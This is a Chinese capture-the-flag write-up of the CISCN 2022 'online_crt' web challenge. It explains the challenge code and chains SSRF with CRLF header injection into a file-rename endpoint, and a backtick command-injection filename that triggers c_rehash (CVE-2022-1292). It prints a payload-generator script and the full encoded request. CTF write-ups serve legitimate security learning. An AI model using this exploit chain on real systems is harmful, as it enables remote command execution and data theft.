当前位置: 首页 > news >正文

[CISCN 2022 初赛]online_crt

[CISCN 2022 初赛]online_crt

  • 知识点:SSRF、CVE-2022-1292

1.信息收集

拿到源码后,发现是go和python一起组合成的后端系统,同时可以看出本题的业务是生成ssl证书文件的功能。我们先从flask开始分析,下面只挑函数来分析

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):root_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend()) #key的生成位置,和输入无关subject = issuer = x509.Name([x509.NameAttribute(NameOID.COUNTRY_NAME, Country),x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),x509.NameAttribute(NameOID.LOCALITY_NAME, City),x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),x509.NameAttribute(NameOID.COMMON_NAME, CommonName),x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),])root_cert = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(root_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(datetime.datetime.utcnow()).not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)).sign(root_key, hashes.SHA256(), default_backend()) #会根据输入内容和刚刚的内容生成一串信息crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" #随机名称(uuid),存放位置是static/crt/with open(crt_name, "wb") as f:f.write(root_cert.public_bytes(serialization.Encoding.PEM)) #根据刚刚的内容写入证书信息return crt_name

拿uuid来生成文件名的函数,在/getcrt下可以触发,同时会回显文件名

@app.route('/createlink', methods=['GET'])
def info():json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}return json.dumps(json_data) 

有危险函数os.popen,可执行程序为c_rehash,这是整个文件唯一一个命令执行的入口

@app.route('/proxy', methods=['GET'])
def proxy():uri = request.form.get("uri", "/")client = socket.socket()client.connect(('localhost', 8887))msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close'''client.send(msg.encode())data = client.recv(2048)client.close()return data.decode()app.run(host="0.0.0.0", port=8888)

一个内网通信服务,这个8887这个数字先记住,估计是在go编写的后端那里还会有这个数字出现。这里有个坑啊,就是他是从form里面获取uri的,也就是post里面的body而不是?uri=xxx这种形式,但是请求方式还是get,我们需要改成post传参然后把POST改成GET即可。

package mainimport ("github.com/gin-gonic/gin""os""strings"
)func admin(c *gin.Context) {staticPath := "/app/static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")
}func index(c *gin.Context) {c.String(200, "hello world")
}func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}
}

找到了flask和8887这个端口通信的原因,根目录没啥含义,如果我们是和/admin/rename通信的话,并且c.Request.Host=admin,就能触发刚刚的证书改名业务

2.查找漏洞

做到这里我们就要去搜搜刚刚发现的命令执行是怎么被触发的,https://blog.csdn.net/qq_65010029/article/details/145919402这个博客提供的CVE-2022-1292刚好是我们需要的,归根结底就是通过构造恶意证书文件名即触发rce,那就和我们刚刚的思路串起来了

创建证书->和8887通信->修改证书名->访问/createlink构造rce

3.构造漏洞

创建证书

首先我们随意创建一个证书,然后在路由下获得他的文件名,拿我的来举例

static/crt/adfac016-8456-498d-9a77-cb08a5ef9aa3.crt

和8887通信

首先生成payload(用网上师傅的代码https://www.nssctf.cn/note/set/3018

import urllib.parse
uri = '''/admin%2frename?oldname=9d00f805-2d21-471c-be2b-c9b27f64163d.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

得到的是一个二次url编码的伪报文,进入go后端本身需要一层解码,之后还有一层解码即可绕过RawPath特性。

之后就是在proxy路由下去请求

GET /proxy HTTP/1.1
Host: node4.anna.nssctf.cn:28014
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 320uri=/admin%252frename%3Foldname%3Dadfac016-8456-498d-9a77-cb08a5ef9aa3.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close

出现新文件名代表改名成功

获取flag

访问/createlink这个路由后,我们就可以在static/crt/目录下获取flag了

http://www.lryc.cn/news/607517.html

相关文章:

  • 【PHP 自动加载机制详解】
  • 四、基于SpringBoot,MVC后端开发笔记
  • Qwen2 RotaryEmbedding 位置编码仅仅是第一层有吗
  • 提问总结2
  • Eden 和 Survivor 比例可以调整么,参数是什么?还用到了哪些参数?
  • SpringCloud(一)微服务基础认识
  • U-Net vs. 传统CNN:为什么医学图像分割需要跳过连接?
  • 04 基于sklearn的机械学习-梯度下降(上)
  • Linux内核构建系统中的auto.conf与autoconf.h:原理与作用解析
  • ARM Cortex-M 处理器的应用
  • NDI开发指南
  • LeetCode 热题100:206. 反转链表
  • 深入讲讲异步FIFO
  • 向华为学习——IPD流程体系之IPD术语
  • Java函数式编程之【Stream终止操作】【下】【三】【收集操作collect()与分组分区】【下游收集器】
  • 从零开始:Python编程快速入门指南
  • 实战指南:如何将Git仓库中的特定文件夹及其历史完整迁移到另一个仓库
  • vue+element 实现下拉框共享options
  • 智能客服系统实战:多轮对话与知识库检索完整实现
  • 《n8n基础教学》第三节:模拟一个自动化场景
  • Android使用MediaProjectionManager获取游戏画面和投屏
  • C语言-字符串(定义)、字符串函数(strlen、strcat、strcpy、strcmp、strlwr、strupr)
  • 【string类常见接口】
  • Linux系统编程Day3-- Linux常用操作(续)
  • 基于深度学习的医学图像分析:使用Autoencoder实现医学图像去噪
  • Flask 路由系统:URL 到 Python 函数的映射
  • Coze Studio概览(五)--工作流管理
  • 20250801在Ubuntu24.04.2LTS下编译firefly_itx_3588j的Android12时解决boot.img过大的问题
  • 【lucene】FastVectorHighlighter案例
  • 基于线性规划的储能充放电仿真系统